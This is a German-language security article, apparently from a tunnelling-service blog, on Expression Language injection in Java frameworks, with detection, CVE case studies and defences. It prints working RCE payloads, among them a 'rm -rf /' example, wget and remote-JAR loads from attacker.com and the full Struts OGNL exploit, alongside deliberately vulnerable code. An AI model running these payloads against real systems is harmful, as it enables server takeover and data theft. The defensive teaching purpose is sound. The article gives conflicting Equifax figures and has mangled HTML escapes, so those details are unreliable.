Expression Language Injection: Wenn ${} zum Albtraum wird 💀

Einführung: Der stille Attentäter in Webanwendungen
Stellen Sie sich ein scheinbar harmloses Eingabefeld vor, das nach Ihrem Namen fragt. Sie tippen John, senden das Formular ab und sehen “Willkommen, John!” auf Ihrem Bildschirm. Einfach, oder? Aber was passiert, wenn jemand ${"".getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null).exec("rm -rf /")} eingibt? In den falschen Händen wird dieses unschuldige Eingabefeld zu einer Waffe, die das komplette System kompromittieren kann.
Expression Language (EL) Injection ist eine der verheerendsten, aber unterschätzten Schwachstellen moderner Webanwendungen. Dieser Angriffsvektor ermöglicht es Angreifern, beliebigen Code auf Servern auszuführen, indem sie ausnutzen, wie Template-Engines dynamische Ausdrücke evaluieren. Im Gegensatz zu traditionellen Injektionsangriffen, die komplexe Payloads erfordern, reicht bei EL-Injection oft schon ein paar Zeichen innerhalb von ${} oder #{}-Grenzzeichen, um Remote Code Execution (RCE) zu erreichen.
Was ist Expression Language Injection?
Expression Language Injection tritt auf, wenn vom Benutzer kontrollierte Eingaben als Ausdruck von serverseitigen Template-Engines ohne ausreichende Validierung oder Sanitisierung ausgewertet werden. Wenn eine EL-Anwendung anfällig ist, sendet ein Angreifer manipulierten Code als Eingabe, entweder in der Query-String oder in einem Formular, und der Code wird zur Laufzeit kompiliert.
Verständnis von Expression Languages
Expression Languages wurden entwickelt, um die Anwendungsentwicklung zu vereinfachen, indem sie einen einfachen Zugriff auf und die Manipulation von Daten in Webanwendungen bieten. Sie ermöglichen Entwicklern:
- Zugriff auf JavaBeans-Komponenten und deren Eigenschaften
- Aufruf öffentlicher Methoden und statischer Funktionen
- Durchführung arithmetischer und logischer Operationen
- Daten aus verschiedenen Scopes (Request, Session, Application) abzurufen
Gängige Frameworks, die EL nutzen, sind:
- JavaServer Pages (JSP) - Verwendet
${}und#{} - Spring Framework - Spring Expression Language (SpEL)
- Thymeleaf - Natürliche Template-Engine
- Apache Struts - Object-Graph Navigation Language (OGNL)
- Java Unified Expression Language - Standard für Java EE
Die Anatomie eines EL-Ausdrucks
Standard-EL-Ausdrücke folgen vorhersehbaren Mustern:
${variable} # Zugriff auf eine Variable
${object.property} # Zugriff auf Objekt-Eigenschaften
${object.method()} # Methodenaufrufe
${"string".length()} # String-Operationen
${1 + 1} # Arithmetische Operationen
Die Gefahr besteht, wenn diese Ausdrücke untrusted user input ohne Validierung verarbeiten.
Die technische Grundlage: Wie EL-Injection funktioniert
Die Schwachstellenkette
EL-Injection nutzt einen fundamentalen Fehler im Umgang mit dynamischen Inhalten:
- Benutzereingabe empfangen: Anwendung erhält Daten durch Formulare, URL-Parameter, Header oder Cookies
- Template-Verarbeitung: Eingabe wird in einen EL-Ausdruck eingebunden
- Ausdrucksauswertung: Der EL-Interpreter wertet den vollständigen Ausdruck aus
- Code-Ausführung: Bösartiger Code im Ausdruck wird auf dem Server ausgeführt
Betrachten wir diesen anfälligen JSP-Code:
3cjsp:useBean id="data" class="com.example.DataBean" scope="request"/3e
3cjsp:setProperty name="data" property="userInput" value="${param.input}"/3e
3cp3eWillkommen, ${data.userInput}!3c/p3e
Wenn ein Benutzer input=${7*7} absendet, wertet die Anwendung den Ausdruck aus und gibt 49 zurück, anstelle des Literal-Strings ${7*7}. Diese Bestätigung der Ausdrucksauswertung zeigt eine Schwachstelle.
Erkennungstechniken
Um EL-Injection zu erkennen, können Payloads wie ${"dfd".replace("d","x")} verwendet werden, wobei die erwartete Ausgabe xfx ist, weil der eingegebene String dfd durch Ersetzen von d durch x in xfx umgewandelt wird.
Gängige Erkennungs-Payloads:
${7*7} # Erwartet: 49
${{7*7}} # Erwartet: [49]
${"test".length()} # Erwartet: 4
${"a".concat("b")} # Erwartet: ab
${T(java.lang.Runtime)} # Spring: Klassenreferenz
Black-Box-Tester sollten diese Payloads an verschiedenen Injektionsstellen testen:
- URL-Parameter
- Formularfelder
- HTTP-Header
- Cookie-Werte
- Metadaten bei Datei-Uploads
- JSON/XML-Datenfelder
Angriffsvektoren: Von Informationsleak bis RCE
Phase 1: Informationsbeschaffung
Angreifer beginnen typischerweise mit dem Extrahieren sensibler Informationen:
${applicationScope} # Anwendungsvariablen
${sessionScope} # Sitzungsdaten
${pageContext.request.getHeader("Cookie")} # Header
${pageContext.servletContext.serverInfo} # Server-Informationen
Phase 2: Eskalation zu Remote Code Execution
Um die vollständige Ausnutzung von EL-Injection zu erreichen und voll funktionsfähige RCE zu erzielen, muss die runtime.exec()-Klasse aufgerufen werden, um Systembefehle auszuführen.
Methode 1: Direkter Runtime-Aufruf
${''.getClass().forName('java.lang.Runtime')
.getMethod('getRuntime')
.invoke(null)
.exec('whoami')}
Methode 2: ProcessBuilder-Ausnutzung
${request.setAttribute("c","".getClass()
.forName("java.util.ArrayList").newInstance())}
${request.getAttribute("c").add("cmd.exe")}
${request.getAttribute("c").add("/c")}
${request.getAttribute("c").add("calc.exe")}
${"".getClass().forName("java.lang.ProcessBuilder")
.getConstructor(java.util.List.class)
.newInstance(request.getAttribute("c")).start()}
Methode 3: ScriptEngineManager
${facesContext.getExternalContext().setResponseHeader("output",
"".getClass().forName("javax.script.ScriptEngineManager")
.newInstance().getEngineByName("JavaScript")
.eval("var x=new java.lang.ProcessBuilder;
x.command(\"wget\",\"http://attacker.com/shell.sh\");
org.apache.commons.io.IOUtils.toString(x.start().getInputStream())"))}
Methode 4: URLClassLoader für Remote-Code
${request.getClass().getClassLoader().loadClass("java.net.URLClassLoader")
.getConstructor(java.net.URL[].class)
.newInstance(new java.net.URL[]
{new java.net.URL("http://attacker.com/malicious.jar")})}
Framework-spezifische Schwachstellen
JSP Expression Language
JavaServer Pages sind besonders anfällig, wenn sie den 3cjsp:setProperty3e-Tag oder Expression Language direkt in Templates verwenden:
3c!-- Anfälliges Muster --3e
3c:c:out value="${param.userInput}" /3e
3c!-- Beispiel für Angriff --3e
?userInput=${"".getClass().forName("java.lang.Runtime").getMethods()[6].invoke(null).exec("calc")}
Spring Framework und SpEL
In Versionen von Spring 3.0.5 und früher konnten EL-Tags zweimal ausgewertet werden, was die Anwendung für EL-Injection anfällig machte (CVE-2011-2730).
Spring Expression Language bietet mächtige Funktionen, die mit untrusted input gefährlich werden:
// Anfälliger Spring-Controller
@RequestMapping("/welcome")
public String welcome(@RequestParam String name, Model model) {
ExpressionParser parser = new SpelExpressionParser();
Expression exp = parser.parseExpression(name); // ANFÄLLIG
model.addAttribute("greeting", exp.getValue());
return "welcome";
}
// Angriff: ?name=T(java.lang.Runtime).getRuntime().exec('whoami')
Apache Struts und OGNL
Der Datenleck bei Equifax, das 159 Millionen Menschen betraf, wurde durch Object-Graph Navigation Language (OGNL) EL-Injection verursacht, wobei Equifax zustimmte, bis zu 425 Millionen Dollar zur Unterstützung der Verbraucher zu zahlen.
OGNL-Injection in Struts ermöglicht ähnliche Exploits:
%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)
.(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container'])
.(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))
.(#ognlUtil.getExcludedPackageNames().clear())
.(#ognlUtil.getExcludedClasses().clear())
.(#context.setMemberAccess(#dm))))
.(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))
.(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))
.(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true))
.(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}
Thymeleaf Template Engine
Thymeleaf nutzt Ausdrücke in Attributen und kann ausgenutzt werden, wenn Templates Benutzereingaben verarbeiten:
3c!-- Anfälliges Template --3e
3cdiv th:text="${userInput}"3e3c/div3e
3c!-- Angriff --3e
${T(java.lang.Runtime).getRuntime().exec('calc')}
Fallstudien aus der Praxis
CVE-2024-51466: IBM Cognos Analytics
Ein Forscher entdeckte einen Endpunkt in der IBM Cognos-Anwendung, der Benutzereingaben akzeptiert und in EL-Ausdrücke einspeist, was RCE ermöglicht. Dies wurde mit einer weiteren Schwachstelle kombiniert, um die Authentifizierung zu umgehen, was technisch zu einer unauthentifizierten RCE führt.
Der Exploit wurde mit folgendem Payload durchgeführt:
${''.getClass().forName('java.lang.Runtime')
.getMethod('getRuntime').invoke(null).exec('command')}
Die Antwort zeigte java.lang.ProcessImpl@b639b23d, was die Erstellung eines Prozesses und erfolgreiche Codeausführung bestätigt.
CVE-2024-12798: Logback Core Schwachstelle
Eine ACE-Schwachstelle in QOS.CH logback-core bis einschließlich Version 1.5.12 ermöglicht Angreifern, beliebigen Code mittels der JaninoEventEvaluator-Erweiterung auszuführen, indem sie eine bestehende logback-Konfigurationsdatei kompromittieren oder eine bösartige Umgebungsvariable vor der Programmausführung injizieren.
Der Equifax-Datenleck (2017)
Der bekannteste EL-Injection-Angriff nutzte die Apache Struts CVE-2017-5638, eine OGNL-Injection-Schwachstelle. Angreifer erlangten Zugriff auf:
- Persönliche Daten von 147 Millionen Amerikanern
- 15,2 Millionen britische Bürgerdaten
- 19.000 kanadische Bürgerdaten
Der Angriffsvektor war überraschend einfach – ein bösartiger Content-Type-Header, der OGNL-Ausdrücke enthielt und Befehle auf dem Server ausführte.
Verteidigungsstrategien: Resiliente Anwendungen bauen
Eingabekontrolle und Sanitisierung
Vermeiden Sie, Benutzerdaten in einen Expression-Interpreter einzubringen, wenn möglich. Andernfalls validieren und/oder kodieren Sie die Daten, um sicherzustellen, dass sie nicht als Expression Language ausgewertet werden.
Strikte Validierung implementieren:
public boolean isValidInput(String input) {
// EL-Grenzzeichen ablehnen
Pattern pattern = Pattern.compile(".*[\\$\\#\\{\\}].*");
Matcher matcher = pattern.matcher(input);
if (matcher.matches()) {
throw new SecurityException("Potenzielle EL-Injection erkannt");
}
// Whitelist-Ansatz - nur alphanumerische Zeichen erlauben
return input.matches("[a-zA-Z0-9]+");
}
Deaktivieren der Expression-Auswertung
Für Spring Framework:
Im Fall des Spring Frameworks deaktivieren Sie die doppelte Auflösung in Versionen ab 3.0.6 durch Konfiguration in der web.xml:
<context-param>
<description>Spring Expression Language Support</description>
<param-name>springJspExpressionSupport</param-name>
<param-value>false</param-value>
</context-param>
Content Security Policies
Implementieren Sie eine robuste Output-Kodierung:
public String escapeEL(String input) {
return input
.replace("$", "\\$")
.replace("{", "\\{")
.replace("}", "\\}")
.replace("#", "\\#");
}
Framework-spezifischer Schutz
JSP:
- Verwenden Sie JSTL-Tags mit escapeXml="true"
- Vermeiden Sie direkte EL-Auswertung in eigenen Tags
- Implementieren Sie Content Security Policy-Header
Spring:
- Halten Sie das Spring Framework aktuell (kritische Patches in 5.2.20+ und 5.3.18+)
- Nutzen Sie @PreAuthorize für methodenbasierten Schutz
- Vermeiden Sie das Parsen von Benutzereingaben als SpEL-Ausdrücke
Thymeleaf:
- Nutzen Sie vorverarbeitete Ausdrücke __${...}__ vorsichtig
- Aktivieren Sie den Strict-Mode in der Konfiguration
- Validieren Sie alle Benutzereingaben vor Template-Verarbeitung
Runtime Application Self-Protection (RASP)
Moderne RASP-Lösungen können EL-Injection-Versuche erkennen und blockieren durch:
- Überwachung der Ausdrucksauswertung
- Analyse des Laufzeitverhaltens auf Anomalien
- Blockieren gefährlicher Methodenaufrufe (Runtime.exec, ProcessBuilder)
- Implementierung virtueller Patches für Zero-Day-Schwachstellen
Sicherheitstests
White-box-Tests: - Code-Reviews mit Fokus auf EL-Nutzung - Static Application Security Testing (SAST) - Abhängigkeits- und Schwachstellen-Scans
Black-box-Tests: - Fuzzing mit EL-Payloads - Dynamische Sicherheitstests (DAST) - Penetrationstests mit eigenen Payloads
Erkennung und Überwachung
Log-Analyse
Überwachen Sie auf verdächtige Muster:
${.*}
#{.*}
T(java.lang.Runtime)
getClass().forName
ProcessBuilder
ScriptEngineManager
URLClassLoader
Web Application Firewalls (WAF)
Konfigurieren Sie WAF-Regeln, um zu erkennen:
# ModSecurity Beispiel
SecRule ARGS "@rx \$\{.*\}" \
"id:100001,phase:2,deny,log,msg:'Potenzielle EL-Injection-Attacke'"
Laufzeit-Erkennung
Implementieren Sie Hooks zur Überwachung:
- Reflection API-Aufrufe aus Benutzerkontexten
- Versuche, Prozesse zu starten
- Klassenladen aus untrusted Quellen
- Netzwerkverbindungen bei Template-Auswertung
Die Zukunft der EL-Injection
Neue Bedrohungen
Mit der Weiterentwicklung der Frameworks entstehen neue Angriffsvektoren:
- Polyglotte Payloads: Mehrere Injektionstypen kombinieren
- Kodierte Angriffe: Base64, Unicode, Hex-encodierte Payloads
- Zeitbasierte Blind-Exploits: Schwachstellen durch Timing-Angriffe erkennen
- Kettenangriffe: EL-Injection mit anderen Schwachstellen kombinieren
Sicherheitsbest Practices
- Prinzip der minimalen Rechte: Anwendungen mit minimalen Berechtigungen ausführen
- Verteidigung in der Tiefe: Mehrere Sicherheitsebenen implementieren
- Regelmäßige Updates: Frameworks und Abhängigkeiten aktuell halten
- Sicherheitsschulungen: Entwickler über Injektionsrisiken aufklären
- Sichere Codierungsstandards: Richtlinien etablieren und durchsetzen
Statistiken und Auswirkungen
Im Oktober 2024 erhielt die durchschnittliche App/API 4.110 Angriffsversuche, mit durchschnittlich 2,5 potenziellen EL-Injection-Angriffen und 1,4 erfolgreichen Angriffen pro Monat.
Obwohl diese Zahlen niedrig erscheinen, ist die Gefahr extrem hoch. Jeder erfolgreiche EL-Injection-Angriff kann führen zu:
- Vollständiger Serverkompromittierung
- Datenleak mit Millionen von Betroffenen
- Finanzielle Verluste in Milliardenhöhe
- Regulatorische Strafen und rechtliche Konsequenzen
- Reputationsschäden, die kaum wieder gutzumachen sind
Fazit: Wachsamkeit ist Pflicht
Expression Language Injection ist eine der kritischsten Schwachstellen moderner Webanwendungen. Das harmlose Erscheinungsbild der ${}-Grenzzeichen verschleiert ihr Potenzial für katastrophale Schäden. Vom Equifax-Datenleck bis zu aktuellen CVEs wie IBM Cognos – EL-Injection verfolgt Organisationen weltweit.
Die gute Nachricht? EL-Injection ist vollständig vermeidbar durch:
- Strenge Eingabekontrolle
- Richtige Ausgabekodierung
- Sicherheitseinstellungen der Frameworks
- Regelmäßige Sicherheitsüberprüfungen
- Entwickleraufklärung
Denken Sie daran: Jedes Eingabefeld ist eine potenzielle Angriffsfläche. Jede Template-Verarbeitung von Benutzerdaten ist ein Risiko. Jede Anwendung, die Expression Languages nutzt, erfordert sorgfältige Sicherheitsüberlegungen.
Der Albtraum ist nicht, dass EL-Injection existiert – sondern, dass Entwickler es weiterhin ignorieren. Lassen Sie ${} nicht zu Ihrem schlimmsten Albtraum werden. Behandeln Sie Benutzereingaben als feindlich, validieren Sie rigoros und bauen Sie Sicherheit in jede Schicht Ihrer Anwendung ein.
Kernaussagen
- Vertrauen Sie niemals Benutzereingaben – Alle externen Daten können bösartig sein
- Vermeiden Sie die Auswertung von Benutzereingaben als Ausdrücke – Nutzen Sie statische Templates, wann immer möglich
- Verteidigung in der Tiefe umsetzen – Mehrere Sicherheitskontrollen schichten
- Bleiben Sie auf dem neuesten Stand – Sicherheitsupdates zeitnah anwenden
- Testen Sie kontinuierlich – Regelmäßige Sicherheitsbewertungen sind essenziell
- Aktiv überwachen – Angriffe erkennen, bevor sie Schaden anrichten
- Schulen Sie Teams – Sicherheit ist Verantwortung aller
Expression Language Injection ist nicht nur eine technische Schwachstelle – es ist eine kritische Sicherheitskrise, die nur auf ihre Entdeckung wartet. Die Frage ist nicht, ob Ihre Anwendung getestet wird, sondern wann. Stellen Sie sicher, dass Sie vorbereitet sind.
Über den Autor: Dieser Artikel behandelt Expression Language Injection-Schwachstellen basierend auf aktueller Sicherheitsforschung und jüngsten CVE-Disclosures bis 2025. Für die neuesten Sicherheitshinweise konsultieren Sie stets die offizielle Dokumentation der Frameworks und Sicherheitswarnungen.
Quellen: OWASP, CVE-Datenbanken, Sicherheitsforschungspapiere und Schwachstellenberichte 2024-2025.
Related InstaTunnel pages
Continue from this article into the most relevant product guides and workflows.
Related Topics
Keep building with InstaTunnel
Read the docs for implementation details or compare plans before you ship.